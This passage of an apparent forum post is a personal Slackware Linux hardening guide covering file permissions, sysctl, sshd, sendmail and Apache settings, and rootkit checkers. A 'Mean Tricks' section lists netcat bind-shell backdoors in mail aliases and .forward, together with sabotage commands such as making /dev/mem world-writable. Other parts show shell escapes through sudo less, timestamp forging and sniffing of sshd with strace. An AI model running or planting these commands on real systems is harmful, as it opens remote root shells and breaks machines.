8) CAP_SETPCAP 9) CAP_LINUX_IMMUTABLE
10) *CAP_NET_BIND_SERVICE 11) *CAP_NET_BROADCAST
12) *CAP_NET_ADMIN 13) *CAP_NET_RAW
14) *CAP_IPC_LOCK 15) *CAP_IPC_OWNER
16) *CAP_SYS_MODULE 17) *CAP_SYS_RAWIO
18) *CAP_SYS_CHROOT 19) *CAP_SYS_PTRACE
20) *CAP_SYS_PACCT 21) *CAP_SYS_ADMIN
22) *CAP_SYS_BOOT 23) *CAP_SYS_NICE
24) *CAP_SYS_RESOURCE 25) *CAP_SYS_TIME
26) *CAP_SYS_TTY_CONFIG
* = Capabilities currently allowed

/etc/cron.*:
root@darkstar:~# chmod -R go-rwx /etc/cron.*

/etc/rc.d:
The system startup scripts are world readable by default.

root@darkstar:~# chmod -R go-rwx /etc/rc.d/

$HOME:
Limit access to $HOME directories:

root@darkstar:~# chmod -R go-wrx /home/dentonj
root@darkstar:~# chmod -R go-rwx /root

man chmod

/var/log:
Limit access to logs:

root@darkstar:~# chmod -R o-rwx /var/log

The following files should be empty if they exist:
/etc/X0.hosts
/etc/d_passwd
/etc/dialups
/etc/environment
/etc/exports
/etc/hosts.lpd
/etc/hosts.equiv
/etc/ssh/shosts.equiv
~/.forward
~/.netrc
~/.rhosts
~/.shosts

Files that normally shouldn't exist:
/etc/fastboot
/etc/forcefsck
/etc/hushlogins
/etc/initrunlvl
/etc/initscript
/etc/nologin
/etc/powerstatus
/etc/upsstatus
~/.hushlogin

Find SUID/SGID files and directories:
root@darkstar:~# find / -type f \( -perm -4000 -o -perm -2000 \) \
> -ls > suid_files.out
root@darkstar:~# find / -type d \( -perm -4000 -o -perm -2000 \) \
> -ls > suid_dirs.out

Find world and group writable files and directories:
root@darkstar:~# find / -type f \( -perm -2 -o -perm -20 \) \
> -ls > write_files.out
root@darkstar:~# find / -type d \( -perm -2 -o -perm -20 \) \
> -ls > write_dirs.out

SUID/SGID:
Remove the SUID or SGID bit from the following files:
chmod u-s /usr/bin/at
chmod u-s /usr/bin/chage
chmod u-s /usr/bin/chfn
chmod u-s /usr/bin/chsh
chmod u-s /usr/bin/crontab
chmod u-s /usr/bin/expiry
chmod u-s /usr/bin/gpasswd
chmod u-s /usr/bin/lppasswd
chmod u-s /usr/bin/newgrp
chmod u-s /usr/bin/rcp
chmod u-s /usr/bin/rlogin
chmod u-s /usr/bin/rsh
chmod u-s /usr/libexec/ssh-keysign

man chmod

Shell Escapes:
The following is a list of programs that can escape to a shell. This can
either be done by directly starting a new shell, executing shell commands
(which is used to start a shell), or by opening an text editor that can be
used to start a shell.

These programs are not a security concern by themselves. However, if they
are set SUID root or used with sudo, the programs can allow users access to
a root shell.

/etc/sudoers:
dentonj ALL = (ALL) /usr/bin/less /var/log/messages

Start a new shell:
dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages
Password:
<contents of /var/log/messages>
!
bash-3.00#

Open an editor that can start a new shell:
dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages
Password:
<contents of /var/log/messages>
v
:sh
bash-3.00#

Make sure these are not SUID and owned by root. Also make sure they don't
end up in /etc/sudoers. This list is not complete.

/bin/ed /bin/more
/usr/bin/bzmore /usr/bin/crontab -e
/usr/bin/cscope /usr/bin/cu
/usr/bin/cvs -e /usr/bin/cvsbug
/usr/bin/elm /usr/bin/elvis
/usr/bin/ex /usr/bin/flea
/usr/bin/gccbug /usr/bin/gdb
/usr/bin/less /usr/bin/lftp
/usr/bin/mailto /usr/bin/mc
/usr/bin/mcedit /usr/bin/mcview
/usr/bin/mutt /usr/bin/mysql
/usr/bin/mysqlbug /usr/bin/nail
/usr/bin/ncftp /usr/bin/newspost
/usr/bin/nn /usr/bin/perlbug
/usr/bin/pilot /usr/bin/pine
/usr/bin/pg /usr/bin/rpcclient
/usr/bin/sdiff /usr/bin/slrn
/usr/bin/smbclient /usr/bin/tin
/usr/bin/trn /usr/bin/uupick
/usr/bin/vim /usr/bin/zmore

root@darkstar:~# cd /usr/bin && for i in `ls | grep "@$"`; do
> echo " $i"
> strings $i | grep -e "VISUAL|EDITOR"
> done | less
root@darkstar:~# cd /usr/man/man1 && zgrep -E \
> "\!.*command|execute.*command" *

Find and delete dead symlinks:
find / -type l -print | perl -nle '-e || print'


----[ Network ]----


/etc/rc.d/rc.local:
# Stop arp spoofing used to sniff switched networks
# Set a static ARP entry for the default gateway
arp -s 192.168.1.1 00:00:FE:ED:FA:CE

# Set a static ARP entry for the log host
arp -s 192.168.1.2 00:00:DE:AD:BE:EF

/etc/rc.d/rc.firewall:
The file /etc/rc.d/rc.inet2 check for the existance and then runs
rc.firewall. Create a firewall script and place it here.


----[ Cron ]----


/etc/cron.daily/ntpdate:
#!/bin/sh
/usr/sbin/ntpdate clock.via.net && /sbin/hwclock --systohc

root@darkstar:~# chmod o+x /etc/cron.daily/ntpdate

/etc/cron.daily/cleanup:
#!/bin/sh
/usr/bin/find / -type f -name core -exec /bin/rm -f {} \;
/usr/bin/find /tmp -atime +7 -exec /bin/rm -f {} \;
/usr/bin/find /var/tmp -atime +7 -exec /bin/rm -f {} \;

root@darkstar:~# chmod o+x /etc/cron.daily/cleanup

/etc/cron.daily/paranoid:
#!/bin/sh
/bin/chmod -R go-rwx /home/dentonj
/bin/chmod -R go-rwx /root
/bin/chmod -R o-rwx /var/log
/bin/rm -f /home/dentonj/dead.letter

root@darkstar:~# chmod o+x /etc/cron.daily/paranoid

/var/spool/cron/crontabs/root:
0 3 * * * /usr/bin/find /home -name .rhosts -o -name .forward -ls

Cron should mail the results to root.

root@darkstar:~# crontab -l
root@darkstar:~# crontab -e

man crond
man crontab

/etc/at.allow:
root@darkstar:~# rm /etc/at.deny
root@darkstar:~# touch /etc/at.allow

Don't allow anyone to use at.

man at


----[ Bash ]----


/etc/inputrc:
set bell-style none
set mark-directories on
set mark-modified-lines on
set match-hidden-files on
set show-all-if-ambiguous on
set visible-stats on

man bash
man readline

~/.bash_history:
Set the history file so that it can only be appended and not erased by a
user.

root@darkstar:~# chattr +a /home/dentonj/.bash_history
root@darkstar:~# chmod go-wrx /usr/bin/chattr /usr/bin/lsattr

man chattr
man lsattr
man chmod

~/.bash_profile:
trap 'test -n "$SSH_AGENT_PID" && eval `/usr/bin/ssh-agent -k`' 0


----[ Kernel ]----


/etc/sysctl.conf:
# Improve file system performance
vm.bdflush = 60 64 64 256 500 300 80 0 0

# Increase swap bandwidth system performance
vm.kswapd = 512 32 32

# Enables/Disables memory over commitment
vm.overcommit_memory = 0

# Increases number of page tables keeps in a per-processor cache
vm.pagetable_cache = 25 50

# Increase limit of file-handles
fs.file-max = 8192

# Enable/Disable ignoring ping request
net.ipv4.icmp_echo_ignore_all = 1

# Enable/Disable ignoring broadcasts request
net.ipv4.icmp_ignore_broadcasts = 1

# Enable/Disable IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

# Enable/Disable TCP SYN cookie protection
net.ipv4.tcp_syncookies = 1

# Enable/Disable ICMP redirect acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0

# Enable/Disable bad error message protection
net.ipv4.icmp_ignore_bogus_error_responses = 1

# Enable/Disable IP spoofing protection
net.ipv4.conf.all.rp_filter = 2
net.ipv4.conf.default.rp_filter = 2

# Enable/Disable log spoofed, source routed,redirect packets
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.log_martions = 1

# Improve shared memory size
kernel.shmall = 134217728
kernel.shmmax = 134217728

# Improve default and maximum window sizes
net.core.vmem_max = 2048000
net.core.vmem_default = 204800

# Enable packet forwarding
net.ipv4.ip_forward = 0

# Change the default TTL to help obscure OS fingerprinting
net.ipv4.ip_default_ttl = 128

root@darkstar:~# sysctl -p /etc/sysctl.conf
root@darkstar:~# sysctl -A

These is arleady an entry in /etc/rc.d/rc.S that will set the
sysctl settings located in this file.

man sysctl
man sysctl.conf

/etc/rc.d/rc.modules:
root@darkstar:~# grep -v "^#\|^$" /etc/rc.d/rc.modules

Grsecurity:

TODO

Remove support for kernel modules:
Compile a new kernel and remove support for kernel modules.

CONFIG_MODULES=n

From Phrack 25-5, "Unix Cracking Tips":
"After you gain superuser privileges and you wish to stay root,
here are a few suggestions for installing backdoors:
. . .
- Install new system calls
. . ."

Then read Phrack 52-8, "Weakening the Linux Kernel". Then compile your
kernel to remove supports for modules.


----[ Misc ]----


Stuff to remove:
root@darkstar:~# removepkg nn
root@darkstar:~# removepkg slrn
root@darkstar:~# removepkg uucp
root@darkstar:~# removepkg strace
root@darkstar:~# removepkg gdb
root@darkstar:~# removepkg nc
root@darkstar:~# removepkg nmap
root@darkstar:~# removepkg at

This list should be much longer.

/etc/rc.d/rc.local:
# This is hard drive specific, your settings will vary
/usr/sbin/hdparm -c3 -a16 -W1 -u1 /dev/hdb

# Turn on NumLock
/usr/bin/setleds -D +num

Make a backup of commonly trojaned commands:
Only do this after a fresh install. Making copies of already trojaned
commands will just ruin your day. If you don't have a fresh install, copy
the commands from the "Live" CD that comes with the official version of
Slackware.

root@darkstar:~# mkdir bin

Copy the following to /root/bin:

/bin/date /bin/du
/bin/echo /bin/grep
/bin/kill /bin/killall
/bin/login /bin/ls
/bin/netstat /bin/ps
/bin/su /bin/tar
/sbin/agetty /sbin/explodepkg
/sbin/getty /sbin/ifconfig
/sbin/installpkg /sbin/makepkg
/sbin/pidof /sbin/removepkg
/sbin/upgradepkg /usr/bin/basename
/usr/bin/biff /usr/bin/chfn
/usr/bin/chsh /usr/bin/crontab
/usr/bin/dirname /usr/bin/env
/usr/bin/find /usr/bin/lsattr
/usr/bin/nail /usr/bin/passwd
/usr/bin/pstree /usr/bin/ssh
/usr/bin/top /usr/bin/traceroute
/usr/bin/write /usr/sbin/gpm
/usr/sbin/hdparm /usr/sbin/in.fingerd
/usr/sbin/in.identd /usr/sbin/in.rlogind
/usr/sbin/in.rshd /usr/sbin/in.telnetd
/usr/sbin/in.timed /usr/sbin/inetd
/usr/sbin/ipop3d /usr/sbin/named
/usr/sbin/rpcinfo /usr/sbin/sendmail
/usr/sbin/sshd /usr/sbin/syslogd
/usr/sbin/tcpd

root@darkstar:~# cd bin
root@darkstar:~/bin# md5sum * >> md5sum
root@darkstar:~/bin# cd
root@darkstar:~# tar zcvf bin.tar.gz ./bin
root@darkstar:~# cp bin.tar.gz /mnt/thumb

It would be a good idea to run `chattr +i ...` on all of the original files.

Passwords in logs and history files:
It's not uncommon for someone to make a mistake while logging in or
switching users and type the password in the wrong place. Be aware that
"dumpster diving" in system logs and other users history files is a common
practice by evil doers to obtain passwords. Keep this in mind when
deciding to store 6 months worth of logs or when setting HISTFILESIZE to a
$LARGENUMBER.

root@darkstar:~# lastb
P@ssw0rd1! Fri Jun 23 19:04 - 19:04 (00:00)
dentonj Fri Jun 23 19:03 - 19:03 (00:00)

root@darkstar:~# less /home/dentonj/.bash_history
<contents of .bash_history>
/us <-- type this to search for "us"
. . .
us -
!QAZzaq1
. . .


----[ Program Hardening ]----

/usr/sbin/atalkd:
/etc/netatalk/atalkd.conf:

/etc/netatalk/afpd.conf:

/etc/netatalk/AppleVolumes.default:

/etc/netatalk/AppleVolumes.system:

/etc/netatalk/netatalk.conf:

/etc/netatalk/papd.conf:

man afpd
man afpd.conf
man AppleVolumes.default
man atalkd
man atalkd.conf
man netatalk.conf
man papd

/usr/sbin/named:
/etc/named.conf:

/etc/rndc.conf:

/etc/rndc.key:

man named
man rndc
man rndc.conf
man lwresd

/usr/sbin/sendmail:

/etc/mail/sendmail.cf:
#O DontBlameSendmail=Safe
O MaxHopCount=25
O HelpFile=/etc/issue.net
O ForwardPath=/etc/forward
O LogLevel=15
#O DaemonPortOptions=Name=MTA
#O DaemonPortOptions=Port=587,Name=MSA,M=E
O DaemonPortOptions=Address=127.0.0.1
O ClientPortOptions=Family=inet,Address=127.0.0.1
O PrivacyOptions=goaway,noreceipts,restrictmailq,restrictqrun,
restrictexpand,noetrn,nobodyreturn
O Timeout.ident=0
O SmtpGreetingMessage=$j Unauthorized Access Prohibited.
O AllowBogusHELO=False
O UnsafeGroupWrites=True
O RrtImpliesDSN=False
$.by $j with id $i$?{tls_version}

root@darkstar:~# touch /etc/forward

$HOME/.forward:
The .forward file allows users to easily forward email. However, the
file can also be used to run a program every time an email is received.
There are several ways to disable use of the .forward file.

Set the ForwardPath option so that it points to something other than
the default. The option has to be set to something, otherwise sendmail
sets ForwardPath to $HOME/.forward.

O ForwardPath=/etc/forward

You can allow programs to be run, but restrict which ones can be run by
using smrsh.

You can disable forwarding in sendmail all together. However, the bat
book warns that Bad Things(TM) can happen is you completely disable
forwarding. Remove the "w" flag from the line located in
/etc/mail/sendmail.cf:

Mlocal, P=/usr/bin/procmail, F=lsDFMAw5:/|@qSPfhn9, S=.....

Mlocal, P=/usr/bin/procmail, F=lsDFMA5:/|@qSPfhn9, S=.....

You can try to have root create and own the .forward file in each of
the user's home directories. But the user can move the .forward file
and create a new file.

root@darkstar:~# touch /home/dentonj/.forward
dentonj@darkstar:~# ls -l .forward
-rw-r--r-- 1 root root 0 2001-06-27 20:17 .forward
dentonj@darkstar:~# mv .forward .forward.moved
dentonj@darkstar:~# ls -l .forward.moved
-rw-r--r-- 1 root root 0 2001-06-27 20:17 .forward.moved

However, making the file immutable stops this.

root@darkstar:~# touch /home/dentonj/.forward
root@darkstar:~# chattr +i /home/dentonj/.forward
root@darkstar:~# lsattr /home/dentonj/.forward
----i-------- /home/dentonj/.forward
root@darkstar:~# chmod go-rwx /usr/bin/chattr /usr/bin/lsattr
dentonj@darkstar:~$ ls -l .forward
-rw-r--r-- 1 root root 0 2001-06-27 20:19 .forward
dentonj@darkstar:~$ mv .forward .forward.moved
mv: cannot move `.forward' to `.forward.moved': Operation not permitted

/usr/sbin/smrsh:

TODO

/etc/mail/aliases:
I use to comment out most of these. Now I'm more interested if someone
actually tries to send email to any of them.

postmaster: root, dentonj
bin: root, dentonj
daemon: root, dentonj
games: root, dentonj
ingres: root, dentonj
nobody: root, dentonj
system: root, dentonj
toor: root, dentonj
uucp: root, dentonj
manager: root, dentonj
dumper: root, dentonj
webmaster: root, dentonj
abuse: root, dentonj
decode: root, dentonj

Add any additional system account present in /etc/passwd:

admin: root, dentonj
ftp: root, dentonj
mail: root, dentonj
mysql: root, dentonj
smmsp: root, dentonj
sshd: root, dentonj

root@darkstar:~# newaliases

man aliases
man newaliases

If you only need to run sendmail for local mail, use cron.

root@darkstar:~# /etc/rc.d/rc.sendmail stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.sendmail

/etc/cron.hourly/mqueue
#!/bin/sh
/usr/sbin/sendmail -q

root@darkstar:~# chmod 700 /etc/cron.hourly/mqueue

man crond

/usr/sbin/httpd:

root@darkstar:~# groupadd -g 80 http
root@darkstar:~# useradd -u 80 -g 80 http

/etc/apache/httpd.conf:
#LoadModule includes_module libexec/apache/mod_include.so
#LoadModule autoindex_module libexec/apache/mod_autoindex.so
#LoadModule speling_module libexec/apache/mod_speling.so
#LoadModule userdir_module libexec/apache/mod_userdir.so
#LoadModule anon_auth_module libexec/apache/mod_auth_anon.so
#LoadModule digest_module libexec/apache/mod_digest.so
#LoadModule proxy_module libexec/apache/mod_proxy.so
#LoadModule cern_meta_module libexec/apache/mod_cern_meta_module.so
#LoadModule usertrack_module libexec/apache/mod_usertrack.so
#LoadModule unique_id_module libexec/apache/mod_unique_id.so
#AddModule mod_includes.c
#AddModule mod_autoindex.c
#AddModule mod_speling.c
#AddModule mod_userdir.c
#AddModule mod_auth_anon.c
#AddModule mod_digest.c
#AddModule mod_proxy.c
#AddModule mod_cern_meta.c
#AddModule mod_usertrack.c
#AddModule mod_unique_id.c
User http
Group http
ServerAdmin root@localhost
<Directory "/var/www/htdocs">
Options FollowSymLinks MultiViews
UseCanonicalName Off
LogLevel info
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %T"
CustomLog /var/log/apache/access_log combined
ServerSignature Off
ServerTokens ProductOnly
<Directory "/var/www/icons">
Options MultiViews
#Alias /manual/ "/var/www/htdocs/manual/"
#<Directory "/var/www/htdocs/manual">
# Options Indexes FollowSymLinks MultiViews
# AllowOverride None
# Order allow,deny
# ALlow from all
#</Directory>
#ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
#<Directory "/var/www/cgi-bin">
# AllowOverride None
# Options None
# Order allow,deny
# Allow from all
#</Directory>

/etc/logrotate.d/httpd:
/var/log/apache/access_log /var/log/apache/error_log {
create 0640 root root
mail dentonj@gmail.com
mailfirst
sharedscripts
postrotate
/bin/kill -HUP `cat /var/run/httpd.pid \
2> /dev/null || true`
endscript
}

dentonj@darkstar:~$ links /var/www/htdocs/manual/misc/security_tips.html

man httpd

/etc/ssh/ssh_config:
# Host *
ForwardAgent no
ForwardX11 no
RhostsRSAAuthentication no
RSAAuthentication no
PasswordAuthentication yes
HostbasedAuthentication no
BatchMode no
CheckHostIP yes
AddressFamily any
ConnectTimeout 0
StrictHostKeyChecking ask
# IdentityFile ~/.ssh/identity
IdentityFile ~/.ssh/id_rsa
IdentityFile ~/.ssh/id_dsa
Port 22
Protocol 2
# Cipher 3des
Ciphers aes256-cbc,aes256-ctr
EscapeChar ~
Compression yes
HashKnownHosts yes
EnableSSHKeysign no
LogLevel DEBUG
PubkeyAuthenticaton yes
ServerAliveInterval 60
ServerAliveCountMax 10
TCPKeepAlive no
UserKnownHostsFile ~/.ssh/known_hosts

/etc/ssh/sshd_config
Port 22
Protocol 2
AddressFamily inet
ListenAddress 192.168.1.2

# HostKey for protocol version 1
#HostKey /etc/ssh/ssh_host_key
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key

# Lifetime and size of ephemeral version 1 server key
#KeyRegenerationInterval 1h
#ServerKeyBits 768

# Logging
# obsoletes QuietMode and FascistLogging
SyslogFacility AUTH
LogLevel DEBUG

# Authentication:

LoginGraceTime 2m
PermitRootLogin no
StrictModes yes
MaxAuthTries 6

AllowUsers dentonj@trustedhost
AllowGroups wheel

RSAAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# RhostsRSAAuthentication and HostbasedAuthentication
IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
PermitEmptyPasswords no

# Change to no to disable s/key passwords
#ChallengeResponseAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

#UsePAM no

AllowTcpForwarding yes
GatewayPorts no
X11Forwarding no
X11DisplayOffset 10
X11UseLocalhost yes
PrintMotd yes
PrintLastLog yes
TCPKeepAlive no
UseLogin no
UsePrivilegeSeparation yes
PermitUserEnvironment no
Compression delayed
ClientAliveInterval 60
ClientAliveCountMax 10
UseDNS yes
PidFile /var/run/sshd.pid
#MaxStartups 10

# no default banner path
Banner /etc/issue.net

# override default of no subsystems
#Subsystem sftp /usr/libexec/sftp-server

# If the client doesn't support these, tell them to upgrade
Ciphers aes256-cbc,aes256-ctr

# login.conf(5) is not used in Slackware
ChallengeResponseAuthentication no


root@darkstar:~# chmod u-s /usr/libexec/ssh-keysign

man ssh
man sshd
man ssh_config
man sshd_config

/etc/ssh/sshrc:

TODO

/usr/bin/mysql_safe:

root@darkstar:~# less /var/lib/mysql/darkstar.err

man mysql_fix_privilege_tables

----[ Security Programs/Scripts ]----

GnuPG:
On the Slackware Source CD 3:

mount /mnt/cdrom
cd /mnt/cdrom/testing/packages
installpkg gnupg-1.4.2-i486-1.tgz

libsafe:
On the Slackware Source CD 3:

mount /mnt/cdrom
cd /mnt/cdrom/extra/libsafe-2.0.16
installpkg libsafe-2.0.16-i386-1.tgz

Snort:
http://www.snort.org

TODO

sXid:
http://packages.debian.org/stable/source/sxid

root@darkstar:~# cp sxid_4.0.5.tar.gz src
root@darkstar:~# cd src
root@darkstar:~/src# gzip -cd sxid_4.0.5.tar.gz | tar xvf -
root@darkstar:~/src# cd sxid-4.0.5
root@darkstar:~/src/sxid-4.0.5# less README
root@darkstar:~/src/sxid-4.0.5# make install

/usr/local/etc/sxid.conf:
ALWAYS_NOTIFY = "yes"
ALWAYS_ROTATE = "yes"
IGNORE_DIRS = ""

/etc/cron.daily/sxid:
#!/bin/sh
/usr/local/bin/sxid

root@darkstar:~# chmod 700 /etc/cron.daily/sxid
root@darkstar:~# sxid

logcheck:
http://packages.debian.org/stable/source/logcheck

root@darkstar:~# groupadd -g 97 logs
root@darkstar:~# useradd -u 97 -g logs -d /var/log -s /bin/false logs
root@darkstar:~# passwd -S logs
root@darkstar:~# chown -R logs.logs /etc/logcheck/ /var/lock/logcheck/
root@darkstar:~# chgrp -R logs /var/log/

/etc/logrotate.d/syslog:
create 0640 root logs

/etc/logrotate.d/httpd:
create 0640 root logs

root@fred:~# sudo -u logs logcheck -ot
fatal: lockfile-progs is a prerequisite for logcheck, and was not found.


TODO

chkrootkit:
http://www.chkrootkit.org

root@darkstar:~# cp chkrootkit_0.46a.tar.gz src/
root@darkstar:~# cd src
root@darkstar:~/src# gzip -cd chkrootkit_0.46a.tar.gz | tar xvf -
root@darkstar:~/src# cd chkrootkit-0.46a
root@darkstar:~/src/chkrootkit-0.46a# less README
root@darkstar:~/src/chkrootkit-0.46a# make sense

Copy the following to /usr/local/sbin:
check_wtmpx
chkdirs
chklastlog
chkproc
chkrootkit
chkutmp
chkwtmp
ifpromisc
strings-static

root@darkstar:~# crontab -e
# Chkrootkit, results are mailed to root
10 4 * * * /usr/local/sbin/chkrootkit
root@darkstar:~# killall -HUP crond

aide:
http://sourceforge.net/project/aide


lcap:

root@darkstar:~# cp lcap_0.0.6.orig.tar.gz src/
root@darkstar:~# cd src
root@darkstar:~/src# gzip -cd lcap_0.0.6.orig.tar.gz | tar xvf -
root@darkstar:~/src/# cd lcap-0.0.6/
root@darkstar:~/src/lcap-0.0.6# less README
root@darkstar:~/src/lcap-0.0.6# make
root@darkstar:~/src/lcap-0.0.6# cp lcap /usr/local/sbin


----[ Usibility/Reducing Security ]----


Run X applications as root:
The Linux Security Cookbook contains a short script that will set DISPLAY
and XAUTHORITY to allow root to run X apps. Or you can cheat by setting
DISPLAY and HOME to accomplish the same thing.

root@darkstar:~# xv
xv: Can't open display
root@darkstar:~# DISPLAY=:0.0
root@darkstar:~# xv
Xlib: connection to ":0.0" refused by server
Xlib: Invalid MIT-MAGIC-COOKIE-1 key
xv: Can't open display
root@darkstar:~# HOME=/home/dentonj
root@darkstar:~# xv

A better way is to use xauth and set the MIT-MAGIC-COOKIE:

root@darkstar:~# xauth -f /home/dentonj/.Xauthority extract - :0 | \
xauth merge -
root@darkstar:~# xauth list
darkstar/unix:0 MIT-MAGIC-COOKIE-1 abcdef0123456789abcdef0123456789
dentonj@darkstar:~$ xauth list
darkstar/unix:0 MIT-MAGIC-COOKIE-1 abcdef0123456789abcdef0123456789
localhost:0 MIT-MAGIC-COOKIE-1 9876543219fedcba9876543210fedcba

You still have to set DISPLAY for root. Be aware that setting DISPLAY in a
shell config file (i.e. - /etc/profile) may cause problems with X
forwarding in ssh.

man xauth
man Xsecurity

/usr/bin/lessopen.sh:
Uncomment the following lines:
*) FILE=`file -L "$1"` ; # Check to see if binary, if so -- view with 'strings'
FILE1=`echo $FILE | cut -d ' ' -f 2`
FILE2=`echo $FILE | cut -d ' ' -f 3`
if [ "$FILE1" = "Linux/i386" -o "$FILE2" = "Linux/i386" \
-o "$FILE1" = "ELF" -o "$FILE2" = "ELF" ]; then
strings "$1"
fi ;;

Error Beep:
I make extensive use of tab completion in bash. However, the error beeps
tend to annoy those around me. Here are three ways to turn off the error
beep.

/etc/profile:
setterm -bfreq 0

~/.xinitrc:
xset -b
exec /usr/X11R6/bin/startfluxbox

/etc/inputrc:
set bell-style none


----[ Mean Tricks ]----


/etc/aliases:
opensaysme: | nc -l -p 44444 -e /bin/sh

~/.forward:
| nc -l -p 44444 -e /bin/sh

/etc/login.defs:
NO_PASSWORD_CONSOLE tty1,tty2,tty3,tty4,tty5,tty6

/etc/rc.d/rc.6:
touch /etc/forcefsck

/etc/hotplug/blacklist:
hid

/etc/inittab:
id:6:initdefault:

iptables -m random

iptables -A FORWORD -s 192.168.1.1 -m random --average 90 -j DROP

iptables -A INPUT -j DROP

Anywhere in /etc/rc.d:
reboot

enable -n enable

chmod u+s /usr/bin/strace

chmod u+s /usr/bin/gdb

chmod 666 /dev/mem

chmod 666 /dev/kmem

chmod 666 /dev/port

ifconfig eth0 mtu 68


----[ Useful Commands ]----


ldd /usr/bin/lppasswd

strings /usr/bin/lppasswd

List some of the popular REM commands used.

man -k cron

grep crond /var/log/packages/*

cd /bin && for i in `ls | grep -v "@$"`; do
file $i | grep "not stripped"
done

for i in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin \
/usr/X11R6/bin; do echo $i; cd $i && for j in `ls | grep "@$"`; do file $j \
| grep "not stripped"; done; done

which kill
type -a kill

stat /bin/login
touch example
stat example
touch -r /bin/login example
stat example

strace -p 19148 -f -e trace=network,read,write -o ssh_trace.out -e write=4 \
-e read=6 # Where 19148 is the PID of sshd

ifconfig eth0 hw ether 00:00:DE:AD:BE:EF
ifconfig eth0 0.0.0.0 up -arp

ln -s /usr/bin/write /bin/write
kibitz dentonj


----[ /etc/profile ]----


# If the following variables are not set, exit with an error message
: ${USER:?Who are you?}
: ${LOGNAME:?Who are you?}
: ${HOME:?The homeless need help}

# If a user doesn't have a home directory listed in /etc/passwd,
# login is nice enough to set "/" as $HOME
if [ ${HOME} = "/" ]; then
logout
fi

# Kick and lockout users that are UID 0 but are not root
if [ `id -u` = "0" -a `echo $USER` != "root" ]; then

# Lock the user out
passwd -l $USER

# Save some info
date >> /root/****
netstat -peanut >> /root/****
ps auxww >> /root/****
w >> /root/****

w | mail -s "$USER has gained ROOT access on $HOSTNAME" dentonj@gmail.com

# Let EVERYONE know

wall << EOF

****************************************************************

$USER has gained ROOT access on $HOSTNAME!!!

****************************************************************

EOF

for i in `ls /dev/pts/`; do
echo -e "\n$USER has gained ROOT access on $HOSTNAME!!\n" >> /dev/pts/$i
done

# Log it
logger -is -f /var/log/messages "$USER has gained ROOT access!!"

# Let the luzer know
echo -e "\a\n\n You are _NOT_ root!!\n\n\a"

# For the really paranoid (run before killing the user's processes)
ifconfig eth0 down

# Kill the user and their processes
skill -9 -u $USER

# This should be redundant
logout
exit
fi

export LESSOPEN="|/usr/bin/lessopen.sh %s"

# Set a default shell prompt:
#PS1='`hostname`:`pwd`#'
#if [ "$SHELL" = "/bin/pdksh" ]; then
# PS1='! $ '
#elif [ "$SHELL" = "/bin/ksh" ]; then
# PS1='! ${PWD/#$HOME/~}$ '
#elif [ "$SHELL" = "/bin/zsh" ]; then
# PS1='%n@%m:%~%# '
#elif [ "$SHELL" = "/bin/ash" ]; then
# PS1='$ '
#else
# PS1=/\u@\h:\w\$ '
#fi
if [ `id -u` = 0 ]; then
# A red shell prompt for root
PS1="\[\033[1;31m\][\j][\u@\h:\w]#\[\033[0m\] "
else
# A green shell prompt for everyone else
PS1="\[\033[1;32m\][\j][\u@\h:\w]$\[\033[0m\] "
fi
PS2='>'
export PATH LESS TERM PS1 PS2

# For non-root users, add the current directory to the search path:
#if [ ! "`id -u`" = "0" ]; then
# PATH="$PATH:."
#fi

#
# Stuff I've added
#

# Add $HOME/bin to the search path
PATH=$PATH:$HOME/bin
export PATH

export FIGNORE=".o"

# Set EDITOR for less
export EDITOR=vim

# History
export HISTSIZE=10000
export HISTFILESIZE=10000

# Display timestamp information with each history entry
export HISTTIMEFORMAT="%F %T "

# Logout if a root terminal is not being used
if [ `id -u` = "0" ]; then
export TMOUT=1200
fi

# Aliases
alias matrix="cmatrix -bass"
alias m="cmatrix -bass"
alias su="su -"
alias td="tcpdump -nvvSi eth0 | grcat conf.tcpdump"

# shred doesn't delete recursively
# use "/bin/rf -rf ..." for directories
alias rm="shred -uz"

# Disable the bash builtin command kill, forces the use
# of /bin/kill.
# This was a cute idea, but it prevents jobs from being killed
#enable -n kill

# Misc shell settings
shopt -s cdspell
shopt -s cmdhist
shopt -s dotglob
shopt -s extglob
setterm -bfreq 0

# grep options
export GREP_OPTIONS="-n --color"
export GREP_COLOR="1;33"

# Secure less
export LESSSECURE=1

# This works for single user systems if the dumb *** uses
# an interactive shell
if [ `id -u` != "0" -o `id -u` != "1000" ]; then
passwd -l $USER
logout
fi

# Set these and make them read only to keep users from setting them
export HISTCONTROL=""
export HISTIGNORE=""

# Disable builtin shell commands
enable -n export

# Set shell variables as read only, this should be last:
typeset -r HISTCONTROL
typeset -r HISTFILE
typeset -r HISTFILESIZE
typeset -r HISTIGNORE
typeset -r HISTNAME
typeset -r HISTSIZE
typeset -r LESSSECURE
typeset -r LOGNAME
typeset -r USER


-- When You Are Done --

Join the irc channel #slackware on irc.oftc.net and talk about everything
but Slackware.


-- Todo --

KDE:
Look into it

/etc/shells:
Lock down the other shells.

/bin/login:
Modify so a different encryption hashing algorithms is used.
 
Status
Not open for further replies.
Back
Top Bottom